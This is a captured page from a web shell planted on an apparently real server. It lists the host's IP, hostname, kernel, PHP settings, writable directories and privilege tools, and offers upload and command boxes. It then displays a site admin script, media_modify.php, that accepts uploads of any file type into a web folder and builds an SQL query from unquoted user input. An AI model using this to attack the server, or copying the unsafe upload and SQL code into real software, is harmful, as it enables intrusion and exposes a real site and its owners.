403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)discoverylearning.com.hk/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)discoverylearning.com.hk/webadmin/media_modify.php
<?php require("configure.php");
 
$MediaId 			= $_POST["MediaId"];
$MediaTitleen	= htmlspecialchars($_POST["MediaTitleen"],ENT_QUOTES);
$MediaTitletc	= htmlspecialchars($_POST["MediaTitletc"],ENT_QUOTES);
$MediaTitlesc	= htmlspecialchars($_POST["MediaTitlesc"],ENT_QUOTES);
$MediaDate		= htmlspecialchars($_POST["MediaDate"],ENT_QUOTES);

//print_r($_POST);

// copy image 
if ($_FILES['MediaImage']['name'] <> '')
{
	copy ($_FILES['MediaImage']['tmp_name'], "media/".$MediaId."_cover_".$_FILES['MediaImage']['name']) 
		or die ("Could not copy");
		 
	$MediaImage = $MediaId."_cover_".$_FILES['MediaImage']['name'];
	$MediaImage	= htmlspecialchars($MediaImage,ENT_QUOTES);
	
	$image = "media/".$MediaId."_cover_".$_FILES['MediaImage']['name'];
	createthumb($image, $image, 120, 120);

}
else
{	
	$MediaImage = "";
}

if ($_FILES['MediaFileen']['name'] <> '')
{
	copy ($_FILES['MediaFileen']['tmp_name'], "media/".$MediaId."_file_en_".$_FILES['MediaFileen']['name']) 
		or die ("Could not copy");
		 
	$MediaFileen = $MediaId."_file_en_".$_FILES['MediaFileen']['name'];
	$MediaFileen = htmlspecialchars($MediaFileen,ENT_QUOTES);
}
else
{	
	$MediaFileen = "";
}

if ($_FILES['MediaFiletc']['name'] <> '')
{
	copy ($_FILES['MediaFiletc']['tmp_name'], "media/".$MediaId."_file_tc_".$_FILES['MediaFiletc']['name']) 
		or die ("Could not copy");
		 
	$MediaFiletc = $MediaId."_file_tc_".$_FILES['MediaFiletc']['name'];
	$MediaFiletc = htmlspecialchars($MediaFiletc,ENT_QUOTES);
}
else
{	
	$MediaFiletc = "";
}

if ($_FILES['MediaFilesc']['name'] <> '')
{
	copy ($_FILES['MediaFilesc']['tmp_name'], "media/".$MediaId."_file_sc_".$_FILES['MediaFilesc']['name']) 
		or die ("Could not copy");
		 
	$MediaFilesc = $MediaId."_file_sc_".$_FILES['MediaFilesc']['name'];
	$MediaFilesc = htmlspecialchars($MediaFilesc,ENT_QUOTES);
}
else
{	
	$MediaFilesc = "";
}

// End upload image code

function createthumb($name,$filename,$new_w,$new_h)
	{
	$system=explode('.',$name);
	if (preg_match('/jpg|jpeg|JPG|JPEG/',$system[1])){
		$src_img=imagecreatefromjpeg($name);
	}
	if (preg_match('/gif|GIF/',$system[1])){
		$src_img=imagecreatefromgif($name);
	}
	if (preg_match('/png|PNG/',$system[1])){
		$src_img=imagecreatefrompng($name);
	}

	$old_x=imageSX($src_img);
	$old_y=imageSY($src_img);
	if ($old_x > $old_y) {
		/*$thumb_w=$new_w;
		$thumb_h=$old_y*($new_h/$old_x);*/
		$thumb_w=$old_x*($new_w/$old_y);
		$thumb_h=$new_h;
	}
	if ($old_x < $old_y) {
		$thumb_w=$old_x*($new_w/$old_y);
		$thumb_h=$new_h;
	}
	if ($old_x == $old_y) {
		$thumb_w=$new_w;
		$thumb_h=$new_h;
	}

	$dst_img = imagecreatetruecolor($thumb_w,$thumb_h);
	imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); 
	$red = imagecolorallocate($dst_img, 255, 0, 0);
	$green = imagecolorallocate($dst_img, 0, 255, 0);
	$blue = imagecolorallocate($dst_img, 0, 0, 255);
	$black = imagecolorallocate($dst_img, 0, 0, 0);
	// Make the background transparent
	imagecolortransparent($dst_img, $black);

	// Draw a red rectangle
	imagefilledrectangle($dst_img, 4, 4, 50, 25, $red, $green, $blue);


	if (preg_match("/png|PNG/",$system[1])){		
		imagepng($dst_img, './imagecolortransparent.png', 100); 
	} else if (preg_match("/gif|GIF/",$system[1])) {
		imagegif($dst_img, './imagecolortransparent.gif', 100); 
	} else {
		imagejpeg($dst_img,$filename, 100); 
	}
	imagedestroy($dst_img); 
	imagedestroy($src_img); 
}


// Modify 
$sql = "update Media set MediaDate='$MediaDate', MediaTitleen='$MediaTitleen', MediaTitletc='$MediaTitletc', MediaTitlesc='$MediaTitlesc' ";
if ($MediaImage <> '')
	$sql .= ", MediaImage='$MediaImage' ";
if ($MediaFileen <> '')
	$sql .= ", MediaFileen='$MediaFileen' ";
if ($MediaFiletc <> '')
	$sql .= ", MediaFiletc='$MediaFiletc' ";
if ($MediaFilesc <> '')
	$sql .= ", MediaFilesc='$MediaFilesc' ";
$sql .= " where MediaId=". $MediaId ." ";
mysql_query($sql);

if( mysql_errno() > 0 ){
	echo 'Media Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}

	
mysql_close($dbh);

header("Location: media_index.php?msg=Modify Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit